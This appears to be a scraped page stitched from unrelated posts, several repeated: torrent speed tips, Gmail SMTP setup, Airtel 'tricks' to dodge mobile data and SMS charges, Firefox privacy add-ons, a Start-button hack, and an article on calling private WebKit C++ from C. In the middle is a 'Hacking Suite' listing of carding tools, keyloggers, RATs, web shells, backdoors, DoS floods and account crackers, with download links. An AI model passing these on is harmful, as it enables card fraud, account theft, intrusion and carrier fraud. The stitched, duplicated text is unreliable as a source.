How to calculate optimal settings for your connection In order to apply the following tips you need to know your maximum upload and download speeds. You can test your bandwidth over here. Maximum upload speed If you use your Maximum upload speed, there won’t be not enough space left for the files you are downloading. So you have to cap your upload speed. This is how I calculate my optimal upload speed… upload speed * 80% Maximum download speed Setting your maximum download speed to unlimited will hurt your connection. So use this to calculate your optimal setting. download speed * 90% Maximum connected peers per torrent upload speed * 1.3 Maximum upload slots 1 + (upload speed / 6) Disable Windows Firewall Windows Firewall hates P2P and so disable it and get yourself a decent firewall like Zone Alarm. And last optimize your Internet connection with TCP Optimizer. Know any other tricks to increase uTorrent’s download speed? Please share them here.
Use Gmail as your SMTP serverThis is a featured page
One of the little-known freebies Gmail offers is a portable SMTP server to send mail from any network for any email address. Travellers who use their ISP's SMTP server to send mail with their email program (like Thunderbird or Outlook Express) can find themselves in a bind if they're on another network away from home, like at a coffee shop, airport or visiting relatives. But if you've got a free Gmail account (get one here) you can use Google's SMTP server to send mail through Thunderbird from you@example.com Update: Google rewrites the from address to your Gmail address.. Here's how to set it up:
A reader says: "Some clarification: I set up Gmail for a client for SMTP access, and we discovered the following huge drawback: Gmail automatically rewrites the "from" line of any e-mail you send via their SMTP gateway to your Gmail address, and it overrides any Reply-To settings you may have in your e-mail software in favor of the one in Gmail's web interface. So while Gmail's SMTP access sure is handy, it's not a perfect solution for everybody.
On the plus side, Gmail also stores and indexes anything you send via SMTP as if you had sent it using the website, so all your e-mail is still searchable and in one place. Also, since Gmail SMTP does not use port 25, I've yet to see an ISP that won't allow me to send mail through it." Thanks, David! Update 2: The Gmail spooler is no longer available, but a reader says Gmail invites can be had at bytetest.com. Thanks, Darin! Update 3: Reader Derek Bennett says, "The solution is to go into your gmail Settings:Accounts and "Make default" an account other than your gmail account. This will cause gmail to re-write the From field with whatever the default account's email address is." Configure POP access [Gmail: Help Center]
- In your email client software, under Outgoing mail, set the SMTP server to smtp.gmail.com.
- Set the your username is yourgooglemailname@gmail.com and make sure "Use username and password" is checked.
- Also check off "TLS" under "Use secure connection."
A reader says: "Some clarification: I set up Gmail for a client for SMTP access, and we discovered the following huge drawback: Gmail automatically rewrites the "from" line of any e-mail you send via their SMTP gateway to your Gmail address, and it overrides any Reply-To settings you may have in your e-mail software in favor of the one in Gmail's web interface. So while Gmail's SMTP access sure is handy, it's not a perfect solution for everybody.
On the plus side, Gmail also stores and indexes anything you send via SMTP as if you had sent it using the website, so all your e-mail is still searchable and in one place. Also, since Gmail SMTP does not use port 25, I've yet to see an ISP that won't allow me to send mail through it." Thanks, David! Update 2: The Gmail spooler is no longer available, but a reader says Gmail invites can be had at bytetest.com. Thanks, Darin! Update 3: Reader Derek Bennett says, "The solution is to go into your gmail Settings:Accounts and "Make default" an account other than your gmail account. This will cause gmail to re-write the From field with whatever the default account's email address is." Configure POP access [Gmail: Help Center]
Free working Airtel GPRS Tricks
Yes its true...
But it is working in UP(Now in some other circle also) west circle only, because of any fault in there system, there is a way for everyone else in India, as the sim works fully while in roaming, so get a sim from UP west, activate mobile office and start using it in evry corner of india...
TRICK
Its very easy to cheat airtel. Just activate the mobile office by dialing *266*1# and then let it on till you want to use it. Airtel will deduct 20rupees at the time the service activates but after that no deduction will b there. Now connect thru mobile office. For use on pc connect thru pc suite or any other way you like. Use APN name as airtelgprs.com
Only remember one thing the balance in sim should be between 40 to 45rupees at the time of activation. It should have validity till the day you want free service. Dont recharge for more money else it'll be deducted.
New Airtel Live free trick (All India)
Just go to http://www.google.co.in/gwt/n through Airtel Live. Then type the address there. You can open any site from there for free ! Surfing through Airtel Live must be free in your state. 2. How to use free internet using Airtel Mobiles Requirements: ——>A mobile with GPRS Modem ——>A new AIRTEL SIM Proceedure: Send a message by typing ” MO to 2567″ now u will recieve the settings and save them Now Send a message by typing “INTERNET ON to 121″ and now u will recieve a message of conformation. Switch off and switch on u r mobile now u r phone is ready for using internet This service charges RS.15/- per 24hrs to stop internet type “INTERNET OFF to 121″ The main Cheat is here “See that u r balance is not more than RS 10 then Airtel will not deduct any amount for the
service” Recharge u r mobile every month with RS 99/- such that u will get RS 0 and a validity of one month U can enjoy internet with a speed of 128kBPS when the mobile is connected to system via Datacable or Blue tooth. I,ve never tried this because i dont have a GPRS mobile but my friends are using this and we have a good result post scrap cancel
3.
hello every airtel prepaid user . now u can send free std and local sms for free. just follow these steps. Type: IM R yourname
Send to 8888
example IM R sumit
send to 8888.ok
than u will receive sms .u be will charged 3 Rs.
for one time only for registration. now i u want to send sms to ur friend for free.
suppose ur friend number is 9896098960 than go to create message type 8888919896098960.u will not be charge ,enjoy
i have tested on delhi and haryana network.
For std number dont apply zero before number.
Dont forget to hit the reputation button.
(this trick may not work in maharashtra)
4.
A new trick with dis u can use free internet from Airtel
just wat u have to do is that
call *266*1#
And it will activate free gprs and deduct rs.20. but dis is only for once
after that u can use free internet for free whole lifetime, but dont recharge ur mobile, because it may deduct ur
balance afterwards,
U can also connect with pc and laptops.
…
But it is working in UP(Now in some other circle also) west circle only, because of any fault in there system, there is a way for everyone else in India, as the sim works fully while in roaming, so get a sim from UP west, activate mobile office and start using it in evry corner of india...
TRICK
Its very easy to cheat airtel. Just activate the mobile office by dialing *266*1# and then let it on till you want to use it. Airtel will deduct 20rupees at the time the service activates but after that no deduction will b there. Now connect thru mobile office. For use on pc connect thru pc suite or any other way you like. Use APN name as airtelgprs.com
Only remember one thing the balance in sim should be between 40 to 45rupees at the time of activation. It should have validity till the day you want free service. Dont recharge for more money else it'll be deducted.
Airtel gprs 4 free
New Airtel Live free trick (All India)
Just go to http://www.google.co.in/gwt/n through Airtel Live. Then type the address there. You can open any site from there for free ! Surfing through Airtel Live must be free in your state. 2. How to use free internet using Airtel Mobiles Requirements: ——>A mobile with GPRS Modem ——>A new AIRTEL SIM Proceedure: Send a message by typing ” MO to 2567″ now u will recieve the settings and save them Now Send a message by typing “INTERNET ON to 121″ and now u will recieve a message of conformation. Switch off and switch on u r mobile now u r phone is ready for using internet This service charges RS.15/- per 24hrs to stop internet type “INTERNET OFF to 121″ The main Cheat is here “See that u r balance is not more than RS 10 then Airtel will not deduct any amount for the
service” Recharge u r mobile every month with RS 99/- such that u will get RS 0 and a validity of one month U can enjoy internet with a speed of 128kBPS when the mobile is connected to system via Datacable or Blue tooth. I,ve never tried this because i dont have a GPRS mobile but my friends are using this and we have a good result post scrap cancel
3.
hello every airtel prepaid user . now u can send free std and local sms for free. just follow these steps. Type: IM R yourname
Send to 8888
example IM R sumit
send to 8888.ok
than u will receive sms .u be will charged 3 Rs.
for one time only for registration. now i u want to send sms to ur friend for free.
suppose ur friend number is 9896098960 than go to create message type 8888919896098960.u will not be charge ,enjoy
i have tested on delhi and haryana network.
For std number dont apply zero before number.
Dont forget to hit the reputation button.
(this trick may not work in maharashtra)
4.
A new trick with dis u can use free internet from Airtel
just wat u have to do is that
call *266*1#
And it will activate free gprs and deduct rs.20. but dis is only for once
after that u can use free internet for free whole lifetime, but dont recharge ur mobile, because it may deduct ur
balance afterwards,
U can also connect with pc and laptops.
…
Firefox: 55 Add-Ons To Increase Your Security And Privacy
Show IP – Displays the IP of the current website in the browser. Cache: Cache Status – Cache Management from the Firefox status bar. Passive Cache – Access the contents of a site without visiting it directly. Safe Cache (FF2) – Segments the Firefox cache based on the source of the documents which defends against techniques to determine if a user visited another domain. Cookies: Add n Edit Cookies – Makes it possible to edit cookies. Better Privacy – Adds Flash Cookie handling to Firefox. Cookie Monster – Provides cookie management capabilities to allow and disallow cookies to be set on specific websites. Cookie Swap – Use multiple cookies on one website. CS Lite – Manage cookie permissions. Identity and Privacy: Adblock Plus – blocks advertisement on the Internet. FoxyProxy – An advanced proxy management tool for the Firefox browser. Goolash – The extension makes sure that a user is always logged out of Google accounts during Google search. History Block – Can block sites from appearing in the browser’s history. MailCatch – A Firefox add-on to make use of a disposable email service that can be used to create emails to use on the Internet. No Referer – Can block the referrer when accessing specific sites. Private Browsing – Hides surfing trails. Quick Proxy – Switch proxies on and off with one click. Random User Agent – Replaces the default Firefox user agent with a random one. RefSpoof – Allows to change the referrer on the fly. Spam Advert – Another temporary email service that can be used in Firefox. Stealther – Privacy browsing for Firefox versions that do not provide that feature. Temporary Inbox – Another temporary email service that can be used to create disposable emails on the fly. Torbutton – Adds a button to Firefox to enable or disable the anonymity software Tor. Track me not – Protects the user against search data profiling. 
Trashmail – Another one click temporary email creation service. Passwords: Last Pass – A secure password manager and form filler. 
Mass Password Reset – Makes it easier to reset multiple passwords at once. Secure Password – Secure password generation with the click of a button. Show Passwords – Displays the passwords in web forms without asterisks. Misc Extensions: Controle de Scripts – Advanced settings for Javascript behavior in Firefox. Febe – Firefox Environment Backup Extension can backup various Firefox modules such as extensions, options or themes. Javascript Deobfuscator – Will inform the user about Javascript that gets loaded and executed on a website. Javascript Options – A lite version of NoScript. JS View – View the source code of Javascript files. Long URL Please – Replaces short urls with their real destinations. Quick Java – Quickly turn on or off Java with the click of a button. Malware Search – Has been designed for HiJack This users who need to search for entries on the Internet. Panic Button – Will perform an action like hiding all windows when pressed. Remember Mismatched Domains – Adds a “Don’t warn me again about this certificate for this domain” checkbox to the Domain Mismatch and Expired Certificate warning windows. US Homeland Security Level – Displays the current US Homeland Security Threat Level in the web browser. View Dependencies – Will display a list of all objects that have been loaded on the current website. Yes Script – Can block specific scripts on a website. Basically the opposite of how NoScript handles it.
Hacking Suite
Enjoy it!
# H4ckingworld HaCK Suite v1.0 ##
# H4ckingworld HaCK Suite v1.0 ##
Use These Tools Carefully
!!! $$$ !!!
Cmaster
CC Verify
CWizard
THCC
Visa Card Generator 06
Carcabot_Mass_Email
CcHack
CC-Fake
cvv2c
DesertCVV2
id-fake
Paypal-Link-Spoofed-Scam
HoW To Get Credit Cards Fresh And Fastest
AIO
uploader for all
Cool Small Usefull Dp
ANONIMITY
Jap
BINDER&PACKER
ees binder v1.0
NT Packer v2.1
NakedBind v1.0
Aspack 2.1
F.B.I. Binder
AFX Executable Binder PRO
Deception v4.0
coolbind22
Binder v2.1
Deamon Crypt v 2.0
AmkoJoiner
MultiBinder v1.4.1
MicroJoiner v1.7
Pretator v1.6
YAB Binder v 2.0
BRUTER
WebCrackv4.0
BrutuS
Crack FTP
FTP Brute Hacker
phpbb bruteforcer
PhpBB pass extractor
phpBB Cracker
Email Cracker
FTP Brute Forcer
EXPLOIT COLLECTION
10377 Exploit
SMF ShoutBox Xss & Html Inj
SMF Ultimate Shoutbox Cookie Disclosure Exploit
Firefox_BuG
FLOOD_DOS
Flowbabeflow
FreeSiteKillerV2.01
webxgrab
Web Attacker ENG
TheRapist - DoS Attacker
HybridFlood2
Anti-russ 3.0
Http Bomber v1.001b
Sprut
DoS_5
etherflood
DoSAttacker
phpBB Dos
phpBB Attacker
Ping Attack
Site Nuke
Divine Intervention
UC Forum Spammer
Inferno Nuker
Multiple Site FlooD
GOOGLE HACKING
Alt-GooGle
Google Version 1.2
Google H4ck3r
GooLink
KEYLOGGERS
Elgolf 1.0 Beta
ESK KeyLogger
Glog Keylogger
HermanAgent
IKlogger0.1
MESSENGER
MSN Extreme 3.0
winks,moods,muggins,weemees and meegos + Installer
MSN Messenger Account Cracker v2.0
Hotmail Email Hacker
Hotmail HAcker Gold
HotmailHack
yahooUltraCracker
MSN Spy Lite v1.0
Yahoo Hack !
SH Yahoo Pass Sender 1.1
Yahoo Password Decoder
OTHER BACKDOOR
all in one shell backdoor
assh0le backdoor
blowdoor30c
intestinal worm backdoor
NST Back Connect Backdoor
All RooT
backd00r
genie v151
m0trix
Private Backdoor
PASSWORD CRACKERS
rainbowcrack-1.2-win
md5_cracker
Jhon 1.7 Win
mdcrack-1.2
hydra-4.6
PHP SHELL'S
c99shell
r57shell
BackDooR (fr)
Defacing Tool Pro v2.5
nstviewshell
PHP Backdoor v1
PHP_BackDoor_v1.5
PHP_Shell_v1.7
Simple_PHP_BackDooR
RAPID SHARE & CO HACKING
Link Grabber 3.0.4
Rapidshare Hack
RapidGet
RapidSearch.Beta.0.1
Rapid*****erv4.4.87
MaC Rapid
Premium Account Checker
RapidMule
RapidShare Anti*****
RapidShare Checker
RapidShare Decoder
Renew IP
RapidUp
The Grabber 1.4.1
Unlimited RapidShare With I.E.
SCANNER
SuperScan 4
Stealth - HTTP Scanner v1.0 build 23
CGI Vulnerability Scan
CGI Scanner v4.0
Legion NetBios Scanner
CGI Founder v1.043
Scanarator
SuperScan 3.0
Blues Port Scanner
NetBIOS Name Scanner
MooreR Port Scanner
Trojan Scanner 1.0 Modded By RooT
nmap 4.03
SECURITY
Kism 0.2
SQL Injection
sqlbftools
sqldict
forcesql
sqlinjector
sqlping
SQL INJECT Commander
SQLPowerInjector
TROJAN & RAT
SKD Rat 2.0
Combined Forced Rat Beta
Gadu-Ghost Trojan v.2.3
ProRat SE 1.8
Cyn v2.1
MofoTro 1.1
Furax 1.0b
Omerta 1.3
Remote Dark Trojan
X Rat v3.3
TGA Backdoor v2.0
TUTORIAL & TEXT
Defacing
Hacking_GMail
Hackers Black BooKs
Wireless Network Cracking ToolS
AirCrack
Kismet
DOWNLOAD:
http://rapidshare.de/files/25758743/H4ckingWorlD_HacK_SuiTe_V1.0.part1.rar.html
http://rapidshare.de/files/25764489/H4ckingWorlD_HacK_SuiTe_V1.0.part2.rar.html
!!! $$$ !!!
Cmaster
CC Verify
CWizard
THCC
Visa Card Generator 06
Carcabot_Mass_Email
CcHack
CC-Fake
cvv2c
DesertCVV2
id-fake
Paypal-Link-Spoofed-Scam
HoW To Get Credit Cards Fresh And Fastest
AIO
uploader for all
Cool Small Usefull Dp
ANONIMITY
Jap
BINDER&PACKER
ees binder v1.0
NT Packer v2.1
NakedBind v1.0
Aspack 2.1
F.B.I. Binder
AFX Executable Binder PRO
Deception v4.0
coolbind22
Binder v2.1
Deamon Crypt v 2.0
AmkoJoiner
MultiBinder v1.4.1
MicroJoiner v1.7
Pretator v1.6
YAB Binder v 2.0
BRUTER
WebCrackv4.0
BrutuS
Crack FTP
FTP Brute Hacker
phpbb bruteforcer
PhpBB pass extractor
phpBB Cracker
Email Cracker
FTP Brute Forcer
EXPLOIT COLLECTION
10377 Exploit
SMF ShoutBox Xss & Html Inj
SMF Ultimate Shoutbox Cookie Disclosure Exploit
Firefox_BuG
FLOOD_DOS
Flowbabeflow
FreeSiteKillerV2.01
webxgrab
Web Attacker ENG
TheRapist - DoS Attacker
HybridFlood2
Anti-russ 3.0
Http Bomber v1.001b
Sprut
DoS_5
etherflood
DoSAttacker
phpBB Dos
phpBB Attacker
Ping Attack
Site Nuke
Divine Intervention
UC Forum Spammer
Inferno Nuker
Multiple Site FlooD
GOOGLE HACKING
Alt-GooGle
Google Version 1.2
Google H4ck3r
GooLink
KEYLOGGERS
Elgolf 1.0 Beta
ESK KeyLogger
Glog Keylogger
HermanAgent
IKlogger0.1
MESSENGER
MSN Extreme 3.0
winks,moods,muggins,weemees and meegos + Installer
MSN Messenger Account Cracker v2.0
Hotmail Email Hacker
Hotmail HAcker Gold
HotmailHack
yahooUltraCracker
MSN Spy Lite v1.0
Yahoo Hack !
SH Yahoo Pass Sender 1.1
Yahoo Password Decoder
OTHER BACKDOOR
all in one shell backdoor
assh0le backdoor
blowdoor30c
intestinal worm backdoor
NST Back Connect Backdoor
All RooT
backd00r
genie v151
m0trix
Private Backdoor
PASSWORD CRACKERS
rainbowcrack-1.2-win
md5_cracker
Jhon 1.7 Win
mdcrack-1.2
hydra-4.6
PHP SHELL'S
c99shell
r57shell
BackDooR (fr)
Defacing Tool Pro v2.5
nstviewshell
PHP Backdoor v1
PHP_BackDoor_v1.5
PHP_Shell_v1.7
Simple_PHP_BackDooR
RAPID SHARE & CO HACKING
Link Grabber 3.0.4
Rapidshare Hack
RapidGet
RapidSearch.Beta.0.1
Rapid*****erv4.4.87
MaC Rapid
Premium Account Checker
RapidMule
RapidShare Anti*****
RapidShare Checker
RapidShare Decoder
Renew IP
RapidUp
The Grabber 1.4.1
Unlimited RapidShare With I.E.
SCANNER
SuperScan 4
Stealth - HTTP Scanner v1.0 build 23
CGI Vulnerability Scan
CGI Scanner v4.0
Legion NetBios Scanner
CGI Founder v1.043
Scanarator
SuperScan 3.0
Blues Port Scanner
NetBIOS Name Scanner
MooreR Port Scanner
Trojan Scanner 1.0 Modded By RooT
nmap 4.03
SECURITY
Kism 0.2
SQL Injection
sqlbftools
sqldict
forcesql
sqlinjector
sqlping
SQL INJECT Commander
SQLPowerInjector
TROJAN & RAT
SKD Rat 2.0
Combined Forced Rat Beta
Gadu-Ghost Trojan v.2.3
ProRat SE 1.8
Cyn v2.1
MofoTro 1.1
Furax 1.0b
Omerta 1.3
Remote Dark Trojan
X Rat v3.3
TGA Backdoor v2.0
TUTORIAL & TEXT
Defacing
Hacking_GMail
Hackers Black BooKs
Wireless Network Cracking ToolS
AirCrack
Kismet
DOWNLOAD:
http://rapidshare.de/files/25758743/H4ckingWorlD_HacK_SuiTe_V1.0.part1.rar.html
http://rapidshare.de/files/25764489/H4ckingWorlD_HacK_SuiTe_V1.0.part2.rar.html
Write Your Own Name in Place of Start Menu
Step 1 - Modify Explorer.exe File In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems. get this from http://delphi.icm.edu.pl/ftp/tools/ResHack.zip The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe. The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button. There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me! You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows. Step 2 – Modify the Registry !!!make a backup of your registry before making changes!!! Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK. Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]
Hacking C++ From C
For a long time, LiveDictionary used deeply unwholesome methods to do its work. Version 1.2.5, just released, now uses nothing but public methods. This means vastly improved stability, but it also means that LiveDictionary's evil WebKit text grabber, once considered the app's crown jewels, is no longer useful. I'm going to use it as an object lesson on how to do evil things with C++ applications from pure C.
Motivation
This code was initially developed over the course of about one week, and then took approximately two months of debugging before it became stable. Since then Apple has broken it several times with Safari updates, with the changes required being anything from a simple change of offsets to a large re-engineering of the function.
The prototype of the function is thus: void LiveDict_1_3_WebViewGetTextAtPoint(id webHTMLView, NSPoint point, NSString **text, int *offset) Given an instance of a WebHTMLView (the thing inside a WebView that does all the work) and a point, the function is to return the text at that point, and the offset into that text which represents where that point is located inside it. This is then used to look up the appropriate word in LiveDictionary. (The 1_3 thing is a version numbering scheme so it doesn't conflict with nearly identical functions made for other versions of Safari.)
You would think that this would be easy, but at the time I originally wrote this function, there was no public way to obtain this information. Obviously there is some way to do it, since WebKit itself does it, for example when you drag to select some text. So I dove into WebCore to see how it was done.
]
After much digging, I found the KHTMLPart class which has a method called isPointInsideSelection that does basically the same thing. I ripped out the bits I didn't need and came up with the following C++ code:
id bridge = [webHTMLView _bridge];
KWQKHTMLPart *part = [bridge part];
DocumentImpl *impl = part->xmlDocImpl();
khtml::RenderObject *r = impl->renderer();
khtml::RenderObject::NodeInfo nodeInfo(true, true);
r->layer()->hitTest(nodeInfo, (int)location.x, (int)location.y);
NodeImpl *nodeImpl = nodeInfo.innerNonSharedNode();
if(!nodeImpl || !nodeImpl->renderer() || !nodeImpl->renderer()->isText())
return;
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos);
Not too bad, right? Most of the code is just drilling down to the object I need to interrogate, and then asking it. (There's a little bit at the end to get the actual text of the node that I left off.)
But... I can't just write that code. All of these classes are private and buried in WebCore so I can't link against them. I can't just copy the headers because that still requires linking against them. So I decided to replicate the entire thing in C.
The only thing is, it's a bit complicated to do from C. The entire file, which contains nothing but the above function, its support functions, and comments, is 340 lines long. Over 10kB of source code just to replicate that straightforward C++. I'm going to show you exactly how it's done.
Virtual Reality
As you probably know, C++ has two types of methods (C++-ites like to call them "member functions", but that's not the sort of foolishness you'll see me spouting), virtual methods and the regular kind. Virtual methods are like the methods in other OO languages, in that the implementation is looked up at runtime. The regular kind is this weird abomination where the implementation is looked up entirely at compile time based on the declared type of the object. Since these two types of methods act so differently, we have to invoke them differently when we're hacking from C.
Static Hiss
Regular C++ methods are pretty easy to call from C, as long as you can get a pointer to them. They're actually just regular C functions with funny names and a single implicit parameter (this). So, for example, the xmlDocImpl method is non-virtual. Declared as a function pointer, it looks like: void * (*KHTMLPart_xmlDocImplP)(void *); You'll see a lot of void * in this article. This is because I completely don't care about types; if I'm slinging pointers around, I'll just use void * for convenience. So here we see that it returns a pointer, and takes a single parameter, the implicit this pointer. If I've assigned the function pointer to the right value, then I can perform the equivalent call from C as:
void *xmlDocImpl = KHTMLPart_xmlDocImplP(part);
The only remaining piece is to get the right pointer. Here, I use the APEFindSymbol function from Unsanity's APELite. (Note that this function requires having the mach_header of WebCore; getting this is left as an exercise for the reader.) All you have to know is the symbol name, which is easy to find by just dumping the symbols in WebCore using nm and looking for one that seems to fit. The code is:
KHTMLPart_xmlDocImplP = APEFindSymbol(header, "__ZNK9KHTMLPart10xmlDocImplEv");
And that's all there is to it. The C++ code contains two other references to non-virtual methods, the renderer method, and the hitTest method. They are used similarly.
Static Interference
Unlike certain other dynamic languages, C++ allows for stack-allocated objects. The NodeInfo instance is an example of this. Creating a stack object translates to C fairly directly. First you need to allocate space, which is done by creating a struct with the right memory layout. Then you need to construct the object by calling its constructor. However, in this case, I noticed that the constructor does nothing but set everything to zero. I don't know exactly what is in a NodeInfo but I know that it's five pointers. So my NodeInfo declaration in C looks like this:
struct NodeInfoStruct {
void *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
} nodeInfo = {0};
Of course if WebCore's NodeInfo definition ever changes significantly I'll be in a world of hurt. Oddly enough this never happened, though....
Inline Fun
C++ also likes inline methods that are declared in the header. I, however, hate them because they don't actually get a symbol in the built library. This means that their implementation is something I can't invoke. However, I can see what they do and copy them. The renderer method is one of these. All it does is return an instance variable of the object. So I just figured out the offset of that instance variable and ripped it out. It turns out that it's 22 pointer-sizes into the object, so my replacement function is just:
static void *Function_DocumentImpl_renderer(void *obj)
{
void **objLayoutPtr = obj;
return objLayoutPtr[22];
}
Ugly but effective. Again, if the internal layout of the object ever changes then I'm screwed, but this never happened.
Virtually Impossible
Unfortunately calling virtual methods is ever so slightly harder. I'll cover the theory first, then get into how to call them.
A C++ object that contains virtual methods has as its first four bytes a pointer to its class's vtable. A vtable is a big array of function pointers which exists on a per-class basis. Each virtual method is assigned an index in this table. A virtual method is invoked by indexing into the vtable, getting the function pointer, and then calling it.
Once you have a pointer to it, a virtual method works just like a non-virtual method, in that it looks like a C function with an extra parameter stuck on the front. So a function that does all this work to invoke the correct implementation looks like this:
static void *RenderObject_layer(void *obj)
{
const int layerVtableOffset = 7;
typedef void *(*LayerFptr)(void *);
LayerFptr **fakeObj = obj;
LayerFptr fptr = fakeObj[0][layerVtableOffset];
return fptr(obj);
}
There is a constant for the vtable offset, and a typedef for the function pointer that will be invoked. Next I treat the object as if it were just a vtable, since I don't care about the other parts of it. Then I just index into the object to get the vtable, index into the vtable to get the function pointer, and finally invoke it.
Debugger? What's That?
Now if you've been paying close attention, right about now you're thinking, "Where did he get that 7 from?" And a very good question that is!
The answer is basically trial and error. From looking at the headers you can count the virtual methods and make a guess, but this is unreliable. Virtual methods get laid out in the order that the compiler encounters them, so you can just count them off starting from the very first method in the highest superclass, working your way down, and find the offset.
The trouble with that approach is two-fold. First, people suck at counting, especially when you're counting stuff in mountains of evil C++. Second, if you get it wrong, you'll crash in horrible and weird ways. You'll be invoking a completely different function which probably takes completely different arguments and returns a completely different values. Debugging that error will not be fun; this is already difficult enough as it is, without adding another layer of undebuggability. So ideally we'd want to come up with a guess, and then check it. We can use our friend the debugger to tell us what the offset is.
I set a breakpoint in a location where I had a pointer to the object I wanted to investigate. In this case it's obj, which is a RenderObject (or an instance of a subclass). I'll find the offset of the layer function that I used in the previous example.
(gdb) p obj
$1 = (void *) 0x55127c0 Here we can see the object as a plain old void *. We'll have to do some creative casting to dig into it. (gdb) p *(void **)obj
$2 = (void *) 0xa5ca0e38 There's the vtable. (gdb) p **(void ***)obj
$3 = (void *) 0x95e5deb0 And that's the first entry in the vtable. But it's just another address, not very informative. (gdb) p /a 0x95e5deb0
$5 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Ah hah! If we tell gdb to format it as an address (the /a thing) then it looks up the symbol. And so now we know that the function at offset 0 is "_ZN5khtml12RenderCanvasD1Ev". That's probably a constructor or something of that nature. (gdb) p /a (*(void ***)obj)[0]
$6 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Here's a nicer way to look into the vtable. Instead of chasing pointers and manually printing addresses, I'll grab the vtable and then treat it like an array. I don't want to manually print off vtable entries until I find the right one, so I'm going to see if I can get gdb to print a bunch of them for me.
(gdb) set $i = 0
(gdb) p /a (*(void ***)obj)[$i]
$7 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Better, it will print the entry at the index in $i. Now I just need a loop. (gdb) while $i < 10
>print $i
>p /a (*(void ***)obj)[$i]
>set $i = $i + 1
>end
$29 = 0
$30 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
$31 = 1
$32 = 0x95d5e130 <_zn5khtml12rendercanvasd0ev>
$33 = 2
$34 = 0x95cef53c <_zn5khtml12renderobject9setpixmaperk7qpixmaprk5qrectpns_11cachedimagee>
$35 = 3
$36 = 0x95e31ea8 <_zn5khtml18cachedobjectclient13setstylesheeterkn3dom9domstringes4_>
$37 = 4
$38 = 0x95cef538 <_zn5khtml18cachedobjectclient14notifyfinishedepns_12cachedobjecte>
$39 = 5
$40 = 0x95f1e24c <_znk5khtml15rendercontainer10firstchildev>
$41 = 6
$42 = 0x95f1e254 <_znk5khtml15rendercontainer9lastchildev>
$43 = 7
$44 = 0x95f1dd80 <_znk5khtml9renderbox5layerev>
$45 = 8
$46 = 0x95f1d7a0 <_zn5khtml12renderobject19positionchildlayersev>
$47 = 9
$48 = 0x95c9d7b8 <_zn5khtml12renderobject13requireslayerev>
The number 10 was arbitrary, somewhat informed by my guessing from reading the headers. You can keep going higher if you don't find it. But in this case we hit the jackpot; we see a function called layer at offset 7. And that is the story of the 7 in the vtable example above.
Insects and Other Horrors
This isn't exactly a technique to use, but it's a cautionary tale. One of the C++ lines reads:
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos); This gets translated into C as: struct DOMPosition position = RenderObject_positionForCoordinatesP(parentRenderer, absXPos /*- renderXPos*/, absYPos /*- renderYPos*/); The original definition of struct DOMPosition was: struct DOMPosition {
void *m_node;
long m_offset;
};
This worked fine for a long time, but this past winter it came time to make a Universal binary of LiveDictionary. I groveled through the source code, checked it over with a fine-toothed comb, made sure all of my endians were swapped, and then sent off a build to somebody with an actual Intel Mac. And of course, it crashed almost instantly. And as I'm sure you've guessed, it crashed on that very line.
I spent a while not finding very much, just verifying that the PPC and Intel versions were doing the same thing. This line was suspicious because it's the only hacked C++ method that returns a struct.
On PPC, struct returns are done by using an implicit parameter and returning by reference. If you write this:
struct Point p = Function(x);
It gets translated internally to something like this:
struct Point p;
Function(&p, x);
With the return being done by having Function write to the struct via this implicit first parameter.
I thought that Intel might be different, and it is just a little bit. It turns out that on Intel, this convention is only used for structs that are longer than 8 bytes. Small structs are returned just like primitives. But still, there was no difference in calling convention between C functions and C++ methods, so things should still work even if this struct was only 8 bytes.
After some more digging I discovered the problem. At some point, DOMPosition had gained a third member. Doh! My struct was 4 bytes too short. It had continued to work on PPC through sheer luck; either the new member wasn't used, or the four bytes following the struct on the stack were something that could be harmlessly overwritten. But on Intel, those extra 4 bytes were enough to push the function over the edge; WebCore was returning the struct using the implicit parameter, but LiveDictionary was expecting a normal return, and so wasn't passing an implicit parameter. The result was a nasty crash.
The latest definition of the struct looks like:
struct DOMPosition {
void *m_node;
long m_offset;
int m_affinity;
};
With that fix, the Intel build worked fine.
Conclusions
Hacking on private C++ classes is harrowing and dangerous but doable. With the proper care, it can form the backbone of a whole application, so long as frequent updates are part of the plan, and the application is suitably paranoid. LiveDictionary would put up a very dire warning and disable itself by default if it detected a version of Safari that was newer than what it knew about. While I recommend this as the absolute last resort, and all other avenues should be explored first, it can be done if it's necessary.
Motivation
